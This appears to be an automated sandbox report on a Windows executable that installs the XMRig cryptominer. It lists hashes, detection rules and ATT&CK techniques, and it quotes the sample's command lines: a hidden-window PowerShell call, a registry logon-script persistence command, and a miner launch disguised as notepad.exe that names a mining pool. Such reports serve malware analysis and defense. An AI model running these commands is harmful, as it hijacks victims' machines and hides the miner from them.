xmrig | 0591762d5616fc1f8d0c78ed4c61df47d21669bfd04b6f56260ce168af6aabe3

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/05/2026, 04:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 44.9MB
Sample260523-e1e1nsfw2s
SHA256 0591762d5616fc1f8d0c78ed4c61df47d21669bfd04b6f56260ce168af6aabe3
MD5 d1c6fa078f2e7c86efbaf245d6622871
SHA1 64c0dc3c720ec9aceefd6506dc17fd2bfff403ad
SHA512 57495b36d2731a840853995ceca4b398d7bda26b1e68ad6cc924981853267db89be7c5f8c04729516f58a9ebe781c7508402a6a8156051845ebe51f729085973
SSDEEP 393216:s1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYff:sMguj8Q4Vfv5qFTrYv/Wy6
TLSH
T119A79D0773E501A6E5B3E1388AA74103E773B4635731CBDB329D03542FABAE49A3A754
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 5 IoCs

miner

resource	yara_rule
behavioral2/files/0x001a00000002b5a8-29.dat	family_xmrig
behavioral2/files/0x001a00000002b5a8-29.dat	xmrig
behavioral2/memory/5660-45-0x00007FF7DF330000-0x00007FF7DFA95000-memory.dmp	xmrig
behavioral2/memory/4688-48-0x00007FF6AD280000-0x00007FF6AD9E5000-memory.dmp	xmrig
behavioral2/memory/4688-50-0x00007FF6AD280000-0x00007FF6AD9E5000-memory.dmp	xmrig

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x001a00000002b5aa-6.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	5220	powershell_core.exe

Executes dropped EXE 3 IoCs

pid	Process
5220	powershell_core.exe
4688	upd_1779510276079.exe
5660	upd_1779510276079.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\powershell_core.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	pastebin.com
7	pastebin.com

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4988	powershell.exe
5552	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	upd_1779510276079.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	upd_1779510276079.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4988	powershell.exe
4988	powershell.exe
5552	powershell.exe
5552	powershell.exe
5552	powershell.exe
5552	powershell.exe
5552	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	5552	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 4988	2452	2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	80
PID 2452 wrote to memory of 5192	2452	2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	82
PID 2452 wrote to memory of 5220	2452	2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	84
PID 5192 wrote to memory of 576	5192	cmd.exe	85
PID 5220 wrote to memory of 5552	5220	powershell_core.exe	86
PID 5220 wrote to memory of 4688	5220	powershell_core.exe	88
PID 5552 wrote to memory of 3336	5552	powershell.exe	89
PID 3336 wrote to memory of 2424	3336	csc.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-23_d1c6fa078f2e7c86efbaf245d6622871_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command " $member = '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; $type = Add-Type -MemberDefinition $member -Name \"Win32ShowWindow\" -Namespace Win32 -PassThru; $hwnd = (Get-Process -Id 2452).MainWindowHandle; if ($hwnd -ne [IntPtr]::Zero) { $type::ShowWindow($hwnd, 0); } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\powershell_core.exe" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\powershell_core.exe" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:576
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\powershell_core.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\powershell_core.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command " $member = '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; $type = Add-Type -MemberDefinition $member -Name \"Win32ShowWindow\" -Namespace Win32 -PassThru; $hwnd = (Get-Process -Id 5220).MainWindowHandle; if ($hwnd -ne [IntPtr]::Zero) { $type::ShowWindow($hwnd, 0); } "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5552
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r1k03la5\r1k03la5.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3336
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES58E9.tmp" "c:\Users\Admin\AppData\Local\Temp\r1k03la5\CSC2E9E58056BE04D108A263699E47FEF5.TMP"
        5⤵
        
        PID:2424
- - C:\Users\Admin\AppData\Local\Temp\upd_1779510276079.exe
    C:\Users\Admin\AppData\Local\Temp\upd_1779510276079.exe
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4688
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe" --donate-level 3 -o 165.231.215.20:443 -u worker1231 -p x --cpu-max-threads-hint=100 -a rx/0 --http-port 8888
      4⤵
      PID:4788

C:\Users\Admin\AppData\Roaming\Microsoft\upd_1779510276079.exe
C:\Users\Admin\AppData\Roaming\Microsoft\upd_1779510276079.exe
1⤵
- Executes dropped EXE
PID:5660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.system

Path C:\Users\Admin\.system
Size 14B
SHA256 2a70a958721318940f0bd51945f23b7a4bc71fb7d62bbbc916a5b15ab7b6dd51
MD5 f36f3cad49afc0af4b6d3a9ddf12fa16
SHA1 c469b5916c2ceb5d97b5944137e2d3841e0cb61b
SHA512 c2fc11c101321b0edf5a3459e73947f7ec144f35bed39ecace84b610f67b1c255e761905f7f0ed0c9fa1f623050ebb775087fb57ba4c0ed81a596bcb00f3adec
MD5 SHA1 SHA512

Submit Download

RES58E9.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES58E9.tmp
Size 1KB
SHA256 2db6fca2ddff028ca46b74614dd10ef3720c8a430fdc3e3e8c0654265079a3e4
MD5 1262e063f86a00db8797d60663d029a3
SHA1 04afee90d614d63c5ee0a418f1cb67d3eb620a0a
SHA512 0c02346e682a51baaa4f1747a5845952158a5f5d3ea89b3f9cd7c49116b59c00104bf2903e4570cc5e94d28cfb16615516ce5a1d07b821dc692dce3d81161664
TLSH
T16821AB0583E8471FF077673179F61B2FA674FD64EFA2936B9540422C2C51614EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fbkapgxs.gwb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fbkapgxs.gwb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

r1k03la5.dll

Path C:\Users\Admin\AppData\Local\Temp\r1k03la5\r1k03la5.dll
Size 3KB
SHA256 0e22fab920f910970f86c5cd7c0a1ceef4517eb355082cfd272b0881aea2c04b
MD5 652f5d0f8cdcb2db6056434adee15f39
SHA1 ebe180cd0d1d2e9a53647b75ba6557c55408f22b
SHA512 fa013dd90fa8f397971bd63128a6402872d0b3f4232abd880e0ca6db000af25ce9ab7d7cd2a0b1b653fed48e4de587e812b43e377879de84e768c62301857d40
TLSH
T1A251CC1763E8466BE4770734AEF3536637B4F824AFA3536D4A804328AC216645D31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

upd_1779510276079.exe

Path C:\Users\Admin\AppData\Local\Temp\upd_1779510276079.exe
Size 7.4MB
SHA256 62d557aed66d4a87b2ed4d704020c8f9583fcbab3cd1e46ef2f07c8e37e591e8
MD5 20a50541b725803b183fcace5328e661
SHA1 a06eb439687594125758471beb0564b72408c042
SHA512 0a0a23afc30684511880b2da9a86a8ca4c6714e95c285bee47b67ccaefd2438970f74672c4c7457798bb1e0ba66b186e5c985f7578ad7db2270979a1129a74b6
SSDEEP 196608:zdcDSB+VGqzCt6cUIp+spiep70qHpNcjr:/qHspiep70gpY
TLSH
T1A8767D67A2A150D8C87FC17886869233E6B1B8155370ABDF1A64D7360F33AD05F3E768
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell_core.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\powershell_core.exe
Size 44.9MB
SHA256 0591762d5616fc1f8d0c78ed4c61df47d21669bfd04b6f56260ce168af6aabe3
MD5 d1c6fa078f2e7c86efbaf245d6622871
SHA1 64c0dc3c720ec9aceefd6506dc17fd2bfff403ad
SHA512 57495b36d2731a840853995ceca4b398d7bda26b1e68ad6cc924981853267db89be7c5f8c04729516f58a9ebe781c7508402a6a8156051845ebe51f729085973
SSDEEP 393216:s1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYff:sMguj8Q4Vfv5qFTrYv/Wy6
TLSH
T119A79D0773E501A6E5B3E1388AA74103E773B4635731CBDB329D03542FABAE49A3A754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC2E9E58056BE04D108A263699E47FEF5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\r1k03la5\CSC2E9E58056BE04D108A263699E47FEF5.TMP
Size 652B
SHA256 be3469a4b98174c8185f51776ce87b05855de7adfd1a61667d8044c57187c892
MD5 b5ec4e786d131a8bf56bed06b95679ce
SHA1 ac0fc2e91af651f8d4b5def5b56636bbe1399c36
SHA512 91950a64fbfc022e30981e2856a92944c61e14438477c31252ec4228a42a500a26329c6da300284b925ff0ec685ae1a2c7c158200aecc6d777817ddd3b35a35a
TLSH
T166F0820A63F8120EF4F75B30BDF6436795A8BC65DE3293ED1544031D2C746108962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

r1k03la5.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\r1k03la5\r1k03la5.0.cs
Size 218B
SHA256 531c21f32b41b8651df1f844f1a6485b19926699ff33c80de4fc70a44882394c
MD5 841704ba97da956e81f807e77177b947
SHA1 ba3a59add0183f3de2845a7a99713020124567b6
SHA512 a15176ad1aa3900b90094f8a4f8e15c30947547c323fe9f2c7ef3b33eccfcbb9ca79e2b92b8f936f39b8dc365402dfbb9afcdff659212f14e9a2ffb83e56d0d2
TLSH
T11FD0A71875F359E100134C224C46F1FD76234136259E1609A6A50310EF8B00D4131E59
MD5 SHA1 SHA512 TLSH

Submit Download

r1k03la5.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\r1k03la5\r1k03la5.cmdline
Size 369B
SHA256 7c7586aaf7ee64d2b853a10a4e68f50011da878a5feb59f95ca3aa7793a4a23d
MD5 9c850c9863d923601ef5fee0e8331f7d
SHA1 9ff3571ff760e33ed07da31df538c7dcf34d9579
SHA512 8e7471e70351740709b38b46ff880fb3c0186e73c7e8ccb9c91cd096818cd397d015cef1c586c3985d2be859efa9df8db4865b22b26e3d4096979288b47360a6
TLSH
T12CE0683A5396C37D01D9510B2369C4AC82B20EB329C13FA47040440DD41781027D9F41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4688-48-0x00007FF6AD280000-0x00007FF6AD9E5000-memory.dmp

Download

memory/4688-50-0x00007FF6AD280000-0x00007FF6AD9E5000-memory.dmp

Download

memory/4988-2-0x000001EAAAC50000-0x000001EAAAC60000-memory.dmp

Download

memory/4988-7-0x000001EAC7860000-0x000001EAC7882000-memory.dmp

Download

memory/5552-44-0x000002228A630000-0x000002228A638000-memory.dmp

Download

memory/5660-45-0x00007FF7DF330000-0x00007FF7DFA95000-memory.dmp

Download